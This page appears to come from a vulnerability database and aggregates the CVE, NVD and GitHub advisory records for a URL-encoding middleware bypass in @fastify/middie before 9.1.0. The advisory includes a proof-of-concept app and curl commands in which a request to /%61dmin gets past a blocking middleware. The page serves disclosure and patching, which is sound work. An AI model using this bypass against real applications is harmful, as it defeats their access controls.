Vulnerability-Lookup

CVE-2026-22031 (GCVE-0-2026-22031)

Vulnerability from cvelistv5 – Published: 2026-01-19 15:24 – Updated: 2026-01-20 14:45

Title

Fastify Middie Middleware Path Bypass

Summary

@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-20 14:45 UTC

CWE

CWE-177 - Improper Handling of URL Encoding (Hex Encoding)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/fastify/middie/security/adviso…	x_refsource_CONFIRM
https://github.com/fastify/middie/pull/245	x_refsource_MISC
https://github.com/fastify/middie/commit/d44cd56e…	x_refsource_MISC
https://github.com/fastify/middie/releases/tag/v9.1.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
fastify	middie	Affected: < 9.1.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-22031

Vulnerability from fkie_nvd - Published: 2026-01-19 16:15 - Updated: 2026-06-17 10:19

Severity

8.4 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba	Patch
security-advisories@github.com	https://github.com/fastify/middie/pull/245	Issue Tracking, Patch
security-advisories@github.com	https://github.com/fastify/middie/releases/tag/v9.1.0	Product, Release Notes
security-advisories@github.com	https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	fastify	fastify\/middie	*

JSON

To clipboard

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    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/fastify/middie/pull/245"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/fastify/middie/releases/tag/v9.1.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-177"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-CXRG-G7R8-W69P

Vulnerability from github – Published: 2026-01-20 16:34 – Updated: 2026-01-20 16:34

Summary

Fastify Middie Middleware Path Bypass

Details

Summary

A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how middie matches requests against registered middleware paths.

Regex Generation: When fastify.use('/admin', ...) is called, middie uses path-to-regexp to generate a regular expression for the path /admin.
Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl).
The Flaw: req.url in Fastify contains the raw, undecoded path string.
- The generated regex expects a decoded path (e.g., /admin).
- If a request is sent to /%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin).
- middie assumes the middleware does not apply and calls next().
Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.

Incriminated Source Code: In the provided middie source:

// ... inside Holder function
if (regexp) {
  const result = regexp.exec(url) // <--- 'url' is undecoded.
  if (result) {
    // ... executes middleware ...
  } else {
    that.done() // <--- Middleware skipped on mismatch
  }
}

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register middie for Express-style middleware support
  await fastify.register(require('@fastify/middie'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3008 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack. 1. Normal Request (Blocked): bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked 2. Bypass Request (Successful): bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}

Impact

Type: Authentication/Authorization Bypass.
Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.
Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

Show details on source website

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To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/middie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-177"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:34:50Z",
    "nvd_published_at": "2026-01-19T16:15:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use(\u0027/admin\u0027, ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify\u0027s internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // \u003c--- \u0027url\u0027 is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // \u003c--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require(\u0027@fastify/middie\u0027));\n\n  // Middleware to block /admin route\n  fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n    res.statusCode = 403;\n    res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n  });\n\n  // Sample routes\n  fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Welcome to the homepage\u0027 };\n  });\n\n  fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Admin panel\u0027 };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
  "id": "GHSA-cxrg-g7r8-w69p",
  "modified": "2026-01-20T16:34:50Z",
  "published": "2026-01-20T16:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/pull/245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/middie"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/releases/tag/v9.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fastify Middie Middleware Path Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-22031 (GCVE-0-2026-22031)

FKIE_CVE-2026-22031

GHSA-CXRG-G7R8-W69P

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